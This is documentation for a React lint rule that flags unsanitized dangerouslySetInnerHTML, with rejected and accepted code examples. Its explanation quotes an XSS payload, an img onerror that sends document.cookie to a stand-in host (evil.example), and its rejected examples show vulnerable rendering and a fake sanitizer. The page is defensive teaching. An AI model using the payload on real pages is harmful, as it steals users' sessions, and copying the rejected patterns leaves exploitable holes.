react-dangerous-html
dangerouslySetInnerHTML with a value that isn't a constant string, an Html or the result of a known sanitizer: the same values markup-sink accepts at innerHTML, and vue-v-html at v-html.
Why: React escapes everything it renders with { }, but dangerouslySetInnerHTML inserts the value as HTML, as it is. If any part of it comes from a user or the network, it can run script in your page: <img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)"> in a comment steals the session of everyone who reads it (XSS). Guide: React.
✕ Rejectedreact-dangerous-html
tsx
export function Comment({ body }: { body: string }) {
return <div dangerouslySetInnerHTML={{ __html: body }} />;
}✅ Accepted: render it as text
✓ Accepted0 diagnostics
tsx
export function Comment({ body }: { body: string }) {
return <p>{body}</p>;
}✅ Accepted: when it must be HTML, the project's one sanitizer, declared with defineSanitizer. What it returns is typed Html, and accepted wherever it comes from
✓ Accepted0 diagnostics
tsx
import DOMPurify from "dompurify";
import { defineSanitizer, type Html } from "@evobug_com/safe-ts-std/html";
const sanitizeHtml = defineSanitizer((raw) => DOMPurify.sanitize(raw));
export function Comment({ body, signature }: { body: string; signature: Html }) {
const html = sanitizeHtml(body);
return (
<>
<div dangerouslySetInnerHTML={{ __html: html }} />
<footer dangerouslySetInnerHTML={{ __html: signature }} />
</>
);
}✅ Also accepted: a known sanitizer called in the prop itself, without defineSanitizer
✓ Accepted0 diagnostics
tsx
import DOMPurify from "dompurify";
export function Comment({ body }: { body: string }) {
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(body) }} />;
}Accepted values of __html (written in the prop as {{ __html: ... }}): a constant the source shows, a call of a known sanitizer (DOMPurify's sanitize, sanitize-html, xss, imported from their packages) or of a function of yours whose every return is one, any value whose type is Html (a const, a prop, a branch of ?:), and a template whose substitutions are each one of these (`<b>${escapeHtml(name)}</b>`). It is one definition for every markup sink: innerHTML, insertAdjacentHTML, v-html (markup-sink).
❌ Rejected: a function named like a sanitizer is not one by its name
✕ Rejectedreact-dangerous-html
tsx
function sanitizeHtml(html: string): string {
return html.replace(/<script/g, "");
}
export function Comment({ body }: { body: string }) {
return <div dangerouslySetInnerHTML={{ __html: sanitizeHtml(body) }} />;
}What the rule can't see: whether a sanitizer declared with defineSanitizer really sanitizes: that is what the declaration vouches for, and why safe-ts check counts it as an escape hatch. An object built earlier (dangerouslySetInnerHTML={html}) is still reported: write the object in the prop.
eslint-plugin-react's no-danger reports every use of the prop; this rule only the ones that aren't constant or sanitized.